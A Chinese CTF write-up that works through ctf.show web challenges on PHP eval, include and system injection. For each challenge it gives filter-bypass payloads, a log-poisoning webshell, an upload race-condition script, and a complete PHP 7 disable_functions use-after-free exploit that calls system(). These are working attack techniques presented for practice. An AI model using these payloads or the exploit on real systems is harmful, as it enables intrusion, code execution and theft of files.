web 29-eval,过滤flag

  1. <?php
  2. error_reporting(0);
  3. if(isset($_GET['c'])){
  4. $c = $_GET['c'];
  5. if(!preg_match("/flag/i", $c)){
  6. eval($c);
  7. }
  8. }else{
  9. highlight_file(__FILE__);
  10. }

命令执行函数:

system exec shell_exec 同 `` passthru shell_exec popen proc_open pcntl_exec

代码执行函数:eval、assert、preg_replace(\e)、回调函数(array_map、call_user_function等)

1、代码执行函数需嵌套命令执行函数使用,即将命令执行语句转化成php语言执行
如:eval(system(“whoami”););
2、system和passthru有回显,其余系统函数无回现会要配合echo等输出函数
如:eval(echo exec(“whoami”););
题中过滤了flag字符串,使用通配符绕过
c=system(“cat f
“);

web 30-eval,过滤system

使用其他系统函数即可
c=passthru(“cat f“);
c=echo exec(“cat f
“);

web 31-eval,过滤cat、空格

<?php

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
        eval($c);
    }

}else{
    highlight_file(__FILE__);
}

cat过滤使用tac、rev可绕过
空格使用tab、换行、回车等其他空格字符替代,使用url编码
c=passthru(“tac%09fl*”);
或者
image.png

web 32-eval,过滤分号、括号

<?php

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
        eval($c);
    }

}else{
    highlight_file(__FILE__);
}

过滤括号,需要找php中不用括号的函数:

echo print include include_once require require_once

过滤分号,eval要求内容必须以;号结尾,但仍可以使用?>作为离开PHP模式
image.png

c=include$_POST[1]?>
1=php://filter/read=convert.base64-encode/resource=flag.php
由于include包含php文件不会在页面显示出来,考虑使用php伪协议读取

web 33-35-eval,过滤分号、括号、双引号等

同上
也可以使用日志包含来解决
?c=include$_GET[1]?>&1=/var/log/nginx/access.log
image.png
通过包含日志的方式,写入一句话木马
image.png

web 36-eval,过滤数字

同上,把参数改为字母即可

web 37-include

<?php

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c);
        echo $flag;

    }

}else{
    highlight_file(__FILE__);
}

include函数与伪协议结合读取文件
当data://与包含函数结合时,用户输入的data://流会被当做php文件执行
?c=data://text/plain,<?php system(‘cat fla*’);?>

web 38-include,过滤php

将<?php替换为<?=
?c=data://text/plain,<?= system(‘cat fla*’);?>
或者使用base64编码
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

web 39-include,默认文件后缀

<?php

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c.".php");
    }

}else{
    highlight_file(__FILE__);
}

包含的文件默认加了后缀.php,但在php语句闭合后,后面的.php将不起作用

data://text/plain, 这样就相当于执行了php语句 .php 因为前面的php语句已经闭合了,所以后面的.php会被当成html页面直接显示在页面上,起不到什么作用

?c=data://text/plain,<?php system(“cat fl*”);?>

web 40-无参数命令执行

<?php

if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
        eval($c);
    }

}else{
    highlight_file(__FILE__);
}

方法一-任意文件读取并输出

c=show_source(array_rand(array_flip(scandir(current(localeconv())))));

方法二-无参数命令执行

image.png

web 41

web 42-system,命令重定向

<?php

if(isset($_GET['c'])){
    $c=$_GET['c'];
    system($c." >/dev/null 2>&1");
}else{
    highlight_file(__FILE__);
}

该命令指将标准输出和错误输出都定向到/dev/null,相当于没有输出,此时用分隔符将两条命令分隔即可

system($c.” >/dev/null 2>&1”);

c=cat flag.php;
c=cat flag.php||
c=cat flag.php%26
c=cat flag.php%26%26
c=cat flag.php%0a

%26->& %0a->换行

web 43-system,命令重定向,过滤分号、cat

c=tac flag.php%0a

web 44-system,命令重定向,过滤分号、cat、flag

c=tac fla*%0a

web 45-system,命令重定向,过滤分号、cat、flag、空格

c=tac%09fla*%0a

web 46-51-system,命令重定向,过滤分号、cat、flag、空格、数字、*

空格替换

tab、换行、回车符 <、<> $IFS、$IFS$1、$IFS${10}、${IFS} {,}

通配符不能用的话flag可表示为

fla\g fla’g’ fla’’g

cat的替换命令

tac、 rev、 more、 less、 grep、 nl、head、tail、sed、sort、uniq

c=nl<fla’g’.php||

web 52-system,命令重定向,过滤分号、cat、flag、空格、数字、*

有个陷阱,当前目录下存在flag.php,但里面内容为空,正真的flag文件在根目录下/flag
c=nl$IFS/fla’g’||

web 53-system,绕过

<?php

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
        echo($c);
        $d = system($c);
        echo "<br>".$d;
    }else{
        echo 'no';
    }
}else{
    highlight_file(__FILE__);
}

c=nl${IFS}fla’g’.php

web 54-system,绕过

<?php

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

姿势一

c=uniq${IFS}f??????? c=uniq${IFS}f???.php

姿势二

c=/bin/ca?${IFS}f??????? c=/bin/ca?${IFS}f???.php

姿势三 对目标文件重命名,然后再访问新文件名即可

c=mv${IFS}f???.php${IFS}a.txt

web 55-system,无字母绕过

<?php

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

方法一-通配符

linux系统中/bin存放了各类常用系统命令,如:cd、ls、pwd、grep\base64等等
利用/bin/base64命令将文件内容输出

c=/???/????64 ????????

匹配 /bin/base64 flag.php

方法二-通配符

与方法一类似,利用/usr/bin中的命令bzip,将目标文件压缩,再访问该压缩包下载文件

c=/???/???/????2 ????????

匹配 /usr/bin/bzip2 flag.php

方法三-上传临时文件

原理参考

通过post一个文件(文件里面的sh命令),在上传的过程中,通过.(点)去执行执行这个文件。(形成了条件竞争)。一般来说这个文件在linux下面保存在/tmp/php??????一般后面的6个字符是随机生成的有大小写。(可以通过linux的匹配符去匹配)

理解无字母数字webshell执行学习这篇文章
首先构造一个post上传文件的数据包,创建本地前端页面在抓包

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>POST数据包POC</title>
</head>
<body>
<form action="http://46230c96-8291-44b8-a58c-c133ec248231.chall.ctf.show/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
    <label for="file">文件名:</label>
    <input type="file" name="file" id="file"><br>
    <input type="submit" name="submit" value="提交">
</form>
</body>
</html>

image.png
?c=.%20/???/????????[@-[]
在上传内容添加命令

!/bin/sh

ls

image.png
读取flag
image.png
注意:该方法需要条件竞争,所以多点击几次

也能直接用脚本跑

#coding:utf-8
import requests
url="http://96be90a2-f13e-4f22-acbb-940f7ebbdf32.challenge.ctf.show/?c=. /???/????????[@-[]"
files={'file':'ls'}
response=requests.post(url,files=files)
html = response.text
print(html)

web 56-system,无字母、数字绕过

数字也给干掉了,只能用web55的方法三

web 57-$(( ))与整数运算

<?php

// 还能炫的动吗?
//flag in 36.php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
        system("cat ".$c.".php");
    }
}else{
    highlight_file(__FILE__);
}

题目中过滤了绝大多数的字符,现在要构造36这个数字
知识点$(( )):
$表示获取运算(( ))的结果
$(( )) 等于 0
$((~$(()))) 等于 -1
image.png
根据经验$((~-n)) = n-1
那么构造36的话就是-37取反
$(($((~$(())))$((~$(()))))) 等于 -2
$((~$(($((~$(())))$((~$(()))))))) 等于 -1,即$((~-2))
所以可以构造出36

$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))

web 58-65-突破禁用函数

<?php

// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

用post方法传入phpinfo();试试,发现报错
Warning: phpinfo() has been disabled for security reasons in /var/www/html/index.php(17) : eval()’d code on line 1
函数被禁用问题

方法一

考虑其他文件读取函数
读⽂件
file_get_contents()
readfile()
⾼亮显示
show_source()
highlight_file()
尝试后show_source、highlight_file可实现源码读取
c=show_source(“flag.php”);
c=highlight_file(“flag.php”);

网上找到其他解题姿势
c=$a=fopen(“flag.php”,”r”);while($b=fgets($a)){echo $b;}
c=$a=fopen(“flag.php”,”r”);while (!feof($a)) {$line = fgets($a);echo $line;}
c=$a=fopen(“flag.php”,”r”);while (!feof($a)) {$line = fgetc($a);echo $line;}
c=$a=fopen(“flag.php”,”r”);while (!feof($a)) {$line =fgetcsv($a);print_r($line);}
c=$a=fopen(“flag.php”,”r”);echo fread($a,”1000”);
c=$a=fopen(“flag.php”,”r”);echo fpassthru($a);

方法二

通过复制或重命名的方式,读取副本文件内容
c=copy(“flag.php”,”a.txt”);
c=rename(“flag.php”,”b.txt”);

方法三

使用菜刀或蚁剑直接连接即可,题目中的代码就是一句话木马。

web 66-突破禁用函数

禁用了更多的函数,highlight_file函数还能用,不过文件和位置都变化了
c=print_r(scandir(“/“));

先查找文件位置

scandir — 列出指定路径中的文件和目录

print_r — 以易于理解的格式打印变量。

c=highlight_file(“/flag.txt”);

web 67-突破禁用函数

print_r被禁用,使用var_dump替换
c=var_dump(scandir(“/“));

var_dump — 打印变量的相关信息

c=highlight_file(“/flag.txt”);

web 68-突破禁用函数

c=var_dump(scandir(“/“));
show_source和highlight_file都被禁用
可以使用include直接包含
c=include(“/flag.txt”);

web 69-70-突破禁用函数

查找文件位置:
print_r和var_dump被禁用,使用var_export输出变量
c=var_export(scandir(“/“));
如果scandir被禁用还可用glob替换
c=var_export(glob(“/*”));

还可以使用foreach输出
c=$a=scandir(“/“);foreach($a as $value){echo $value.” “;}
c=$a=glob(“/“);foreach($a as $value){echo $value.” “;}
c=$a=new DirectoryIterator(‘glob:///
‘);foreach($a as $f){echo($f->__toString().” “);}

输出文件内容:
c=include(“/flag.txt”);

web 71-exit结束进程绕过

<?php

error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
        $s = ob_get_contents();
        ob_end_clean();
        echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
    highlight_file(__FILE__);
}

?>

image.png
输出的字符都被替换成了?,由于以下代码做了字符替换

$s = ob_get_contents(); ob_end_clean(); echo preg_replace(“/[0-9]|[a-z]/i”,”?”,$s);

可在传入命令之后,跟上exit或者die提前结束进程,导致后面的程序无法执行,从而绕过
c=var_export(glob(“/*”));exit();
c=include(“/flag.txt”);die();

web 72-绕过open_basedir限制

<?php

error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
        $s = ob_get_contents();
        ob_end_clean();
        echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
    highlight_file(__FILE__);
}

?>

首先查找文件位置
c=var_dump(scandir(“/“));exit();

Warning: scandir(): open_basedir restriction in effect. File(/) is not within the allowed path(s): (/var/www/html/) in /var/www/html/index.php(19) : eval()’d code on line 1

Warning: scandir(/): failed to open dir: Operation not permitted in /var/www/html/index.php(19) : eval()’d code on line 1

Warning: scandir(): (errno 1): Operation not permitted in /var/www/html/index.php(19) : eval()’d code on line 1

Warning: var_dump() has been disabled for security reasons in /var/www/html/index.php(19) : eval()’d code on line 1

从警告可知php中的open_basedir限制了访问路径,scandir()受到影响,并且var_dump()被禁用,接下来就是逐个函数替换
glob伪协议在筛选目录时不受open_basedir限制,foreach替换var_dump
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");};exit();
找到了/flag0.txt,但是读取时也受open_basedir和disable_functions限制,看了大佬的方法得利用php7-backtrace-bypass
源码中str_repeat()也被禁用了,替换之后的最终脚本如下:

<?php

# PHP 7.0-7.4 disable_functions bypass PoC (*nix only)
#
# Bug: https://bugs.php.net/bug.php?id=76047
# debug_backtrace() returns a reference to a variable 
# that has been destroyed, causing a UAF vulnerability.
#
# This exploit should work on all PHP 7.0-7.4 versions
# released as of 30/01/2020.
#
# Author: https://github.com/mm0r1

function pwn($cmd) {
    global $abc, $helper, $backtrace;

    class Vuln {
        public $a;
        public function __destruct() { 
            global $backtrace; 
            unset($this->a);
            $backtrace = (new Exception)->getTrace(); # ;)
            if(!isset($backtrace[1]['args'])) { # PHP >= 7.4
                $backtrace = debug_backtrace();
            }
        }
    }

    class Helper {
        public $a, $b, $c, $d;
    }

    function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }

    function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= sprintf("%c",($ptr & 0xff));
            $ptr >>= 8;
        }
        return $out;
    }

    function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for($i = 0; $i < $n; $i++) {
            $str[$p + $i] = sprintf("%c",($v & 0xff));
            $v >>= 8;
        }
    }

    function leak($addr, $p = 0, $s = 8) {
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }

    function parse_elf($base) {
        $e_type = leak($base, 0x10, 2);

        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);

        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);

            if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
                # handle pie
                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
                $text_size = $p_memsz;
            }
        }

        if(!$data_addr || !$text_size || !$data_size)
            return false;

        return [$data_addr, $text_size, $data_size];
    }

    function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = leak($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                # 'constant' constant check
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;

            $leak = leak($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                # 'bin2hex' constant check
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;

            return $data_addr + $i * 8;
        }
    }

    function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 0, 7);
            if($leak == 0x10102464c457f) { # ELF header
                return $addr;
            }
        }
    }

    function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);

            if($f_name == 0x6d6574737973) { # system
                return leak($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }

    function trigger_uaf($arg) {
        # str_shuffle prevents opcache string interning
        $arg =str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
        $vuln = new Vuln();
        $vuln->a = $arg;
    }

    if(stristr(PHP_OS, 'WIN')) {
        die('This PoC is for *nix systems only.');
    }

    $n_alloc = 10; # increase this value if UAF fails
    $contiguous = [];
    for($i = 0; $i < $n_alloc; $i++)
        $contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');

    trigger_uaf('x');
    $abc = $backtrace[1]['args'][0];

    $helper = new Helper;
    $helper->b = function ($x) { };

    if(strlen($abc) == 79 || strlen($abc) == 0) {
        die("UAF failed");
    }

    # leaks
    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;

    # fake value
    write($abc, 0x60, 2);
    write($abc, 0x70, 6);

    # fake reference
    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);

    $closure_obj = str2ptr($abc, 0x20);

    $binary_leak = leak($closure_handlers, 8);
    if(!($base = get_binary_base($binary_leak))) {
        die("Couldn't determine binary base address");
    }

    if(!($elf = parse_elf($base))) {
        die("Couldn't parse ELF header");
    }

    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
        die("Couldn't get basic_functions address");
    }

    if(!($zif_system = get_system($basic_funcs))) {
        die("Couldn't get zif_system address");
    }

    # fake closure object
    $fake_obj_offset = 0xd0;
    for($i = 0; $i < 0x110; $i += 8) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }

    # pwn
    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4); # internal func type
    write($abc, 0xd0 + 0x68, $zif_system); # internal func handler

    ($helper->b)($cmd);
    exit();
}

pwn("cat /flag0.txt");ob_end_flush();

将function pwn($cmd) 及以下内容url编码后赋值给参数c即可
image.png

web 73-74-突破禁用函数

同web 69

web 75-76-sql读取文件绕过禁用函数

先找到文件位置/flag36.txt
c=$a=new DirectoryIterator(‘glob:///*’);foreach($a as $f){echo($f->__toString().” “);}exit();
然后读取,方法原理不懂,先记一下大神的解决方法吧
配置信息是之前题目进入后台后找到的,注意hackbar中不能有换行

c=

try {
    $dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
        'root');

    foreach ($dbh->query('select load_file("/flag36.txt")') as $row) {
        echo ($row[0]) . "|";
    }
    $dbh = null;
} catch (PDOException $e) {
    echo $e->getMessage();
    exit(0);
}
exit(0);

web 77-FFI绕过禁用函数

提示了是php7.4
找到文件位置
c=$a=new DirectoryIterator(‘glob:///*’);foreach($a as $f){echo($f->__toString().” “);}exit();
找到两个flag关键文件,直接cat flag36x.txt无法查看,需要用readflag文件读取
image.png

$ffi = FFI::cdef("int system(const char *command);");  #创建一个system对象
$a="/readflag > 1.txt";  #无回显,需要写入新的文件
$ffi->system($a); # 通过¥ffi去调用system函数
exit();

web 118-内置环境变量绕过字符限制

提示了:flag in flag.php
查看源代码需要POST方式给code传参,执行命令

<!DOCTYPE html>
<html lang="zh-cn">
<head>
    <meta http-equiv="Content-type" content="text/html; charset=utf-8" />
    <link rel="stylesheet" href="style.css">
</head>
<body>

    <div style="width:400px;height:10px;margin:100px auto">
        <form action='' method=post> 
            <input type='text' name='code' placeholder="给你打开一扇通往结界的窗户,可惜钥匙你是找不到的 ">
        </form>
        <!-- system($code);-->
    </div>
</body>
</html>

但是限制了小写字母、数字、/、等字符,之前的无数字、字母的方法用不了了
但?、{、}、大写字母可用,因此可利用Bash 内置环境变量绕过
常见的Bash 内置环境变量:
pwd、bash、path、SHELLOPTS
环境变量表示方式:
${变量名:起始位置(0开始):步长}
image.png
${变量名:~步长} 取反号 ~ 表示取末尾的几位
image.png
~字母:可表示取末尾的一位字符
image.png
其中${SHELLOPTS:23:1}${SHELLOPTS:28:1}可表示ls,但本题限制了数字所以不能用,不过提示了是flag.php,可以用????.???表示
image.png
*payload

code=${PATH:~A}${PATH:${#TERM}:${SHLVL:~A}} ????.???
匹配 nl flag.php
由于pwd应该是/var/www/html,path最后应该是bin,所以也可表示为
code=${PATH:~A}${PWD:~A} ????.???

web 119-内置环境变量绕过字符限制

在上题的基础上进一步限制了BASH、PATH
用环境变量表示数字

${#变量}

${变量} 表示获取变量的值
${#变量} 表示获取变量的值的长度
${#} =====> 0
${#RANDOM} =====>表示一个随机数的长度,大概理是4和5
${#SHLVL} =====> 记录多个 Bash 进程实例嵌套深度的累加器,默认是1

其他变量,每个系统可能结果会不一样,需要猜:
${#TERM}
${#HOME}
${#HOSTNAME}

本题中
${HOME:${#HOSTNAME}:${#SHLVL}} ====> t
${PWD:${#}:${#SHLVL}} ====> /

想办法构造
/bin/cat flag.php=====>/???/??t ????.???=====>
${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}??${HOME:${#HOSTNAME}:${#SHLVL}} ????.???

web 120-内置环境变量绕过字符限制

同上,HOME也被限制了,还限制了长度

<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
    $code=$_POST['code'];
    if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|PATH|BASH|HOME|\/|\(|\)|\[|\]|\\\\|\+|\-|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/', $code)){    
        if(strlen($code)>65){
            echo '<div align="center">'.'you are so long , I dont like '.'</div>';
        }
        else{
        echo '<div align="center">'.system($code).'</div>';
        }
    }
    else{
     echo '<div align="center">evil input</div>';
    }
}

?>

code=${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${USER:~A}? ????.???

web 121-内置环境变量绕过字符限制

<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
    $code=$_POST['code'];
    if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|HOME|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/', $code)){    
        if(strlen($code)>65){
            echo '<div align="center">'.'you are so long , I dont like '.'</div>';
        }
        else{
        echo '<div align="center">'.system($code).'</div>';
        }
    }
    else{
     echo '<div align="center">evil input</div>';
    }
}

?>

SHLVL、~都限制了
SHLVL是用来表示数字1,${#?}、${#?}都可表示1
${PWD::${#?}} ========> /
${#IFS} ========> 3
当前路径/var/www/html
构造命令/bin/rev
code=${PWD::${#?}}???${PWD::${#?}}${PWD:${#IFS}:${#?}}?${PWD::${#?}} ????.??? #超过了65的长度限制
code=${PWD::${#?}}???${PWD::${#?}}${PWD:${#IFS}:${#?}}?? ????.???
code=${PWD::${##}}???${PWD::${##}}${PWD:${#IFS}:${##}}?? ????.???

web 122-内置环境变量绕过字符限制

error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
    $code=$_POST['code'];
    if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|PWD|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|#|%|\>|\'|\"|\`|\||\,/', $code)){    
        if(strlen($code)>65){
            echo '<div align="center">'.'you are so long , I dont like '.'</div>';
        }
        else{
        echo '<div align="center">'.system($code).'</div>';
        }
    }
    else{
     echo '<div align="center">evil input</div>';
    }
}

?>

在上题的基础上PWD也被禁了,可以用HOME代替;#也被禁用,数字的话用$?表示
$? 表示获取上一条命令执行结束后的返回值,0代表成功,非0代表失败。
报错结果分别是1和2
image.png
构造payload,/bin/base64 flag.php
${HOME::$?} =========> /
${RANDOM::$?} ========> 通过随机数生成4,需要不断刷新,可能碰到成功的机会
code=<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???

web 124-利用math函数绕过字符限制

<?php

error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
    show_source(__FILE__);
}else{
    //例子 c=20-1
    $content = $_GET['c'];
    if (strlen($content) >= 80) {
        die("太长了不会算");
    }
    $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
    foreach ($blacklist as $blackitem) {
        if (preg_match('/' . $blackitem . '/m', $content)) {
            die("请不要输入奇奇怪怪的字符");
        }
    }
    //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
    $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
    preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);  
    foreach ($used_funcs[0] as $func) {
        if (!in_array($func, $whitelist)) {
            die("请不要输入奇奇怪怪的函数");
        }
    }
    //帮你算出答案
    eval('echo '.$content.';');
}

题目中设置了白名单(math函数)、黑名单、参数长度,需要用白名单里的函数构造rce
又是新的领域,参考文章php利用math函数rce总结
需要用到函数base_convert、dechex、hexdec

baseconvert(number,frombase,tobase) 在任意进制之间转换数字。 dechex(dec_number) 把十进制转换为十六进制。返回一个字符串,包含有给定 _binary_string 参数的十六进制表示。所能转换的最大数值为十进制的 4294967295,其结果为 “ffffffff”。 hexdec(hexstring) 把十六进制转换为十进制。返回与 _hex_string 参数所表示的十六进制数等值的的十进制数。 其他的 decbin decbin decoct octdec 同上,分别是二进制、八进制与十进制的互转。

构造字母
十六进制的字母范围只有 a-f ,而三十六进制字母范围正好为 a-z ,所以可以用base_convert构造26个字母。
base_convert(‘system’, 36, 10) ========> 1751504350
base_convert(1751504350, 10, 36) ========> system
base_convert(‘ls’, 36, 10) ========> 784
base_convert(784, 10, 36) ========> ls
base_convert(1751504350, 10, 36)(base_convert(784, 10, 36)) ========> system(ls)
构造特殊符号
字母之外的* / 空格等符号需要用异或方式构造

按位异或运算的几个性质:

  1. 结合律a ^ b ^ c = a ^ c ^ b
  2. 交换律a ^ b = b ^ a
  3. 数值交换(能交换 a 与 b 的值)a = a ^ b; b = a ^ b; a = a ^ b;

以” “为例,以下异或方式都可以表示
dechex(22)^’asin’^’pow’
dechex(56)^’asin’^’rad2deg’
通过以下脚本,可匹配合适的函数,选取$k^$i^”
“为全数字的

<?php
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
$whitelist2 = [ 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh','abs'];

foreach ($whitelist as $i):
    foreach ($whitelist2 as $k):
    echo $k^$i^" *";
    echo "   " . $i . " " . $k;
    echo "\n";
    endforeach;
endforeach;

image.png
原理在稍微说明一下:
a^b^a=b
把k^j看作一个值
k^i^” “^k^j=”
因为k^i^” “ ===> 16 (十六进制表示),dechex(22)=16
所以dechex(22)^k^j=”

最后的payload
c=base_convert(1751504350,10,36)(base_convert(15941,10,36).(dechex(22)^asin^pow))
留了一个问题,为什么要构造出cat.( *)的形式?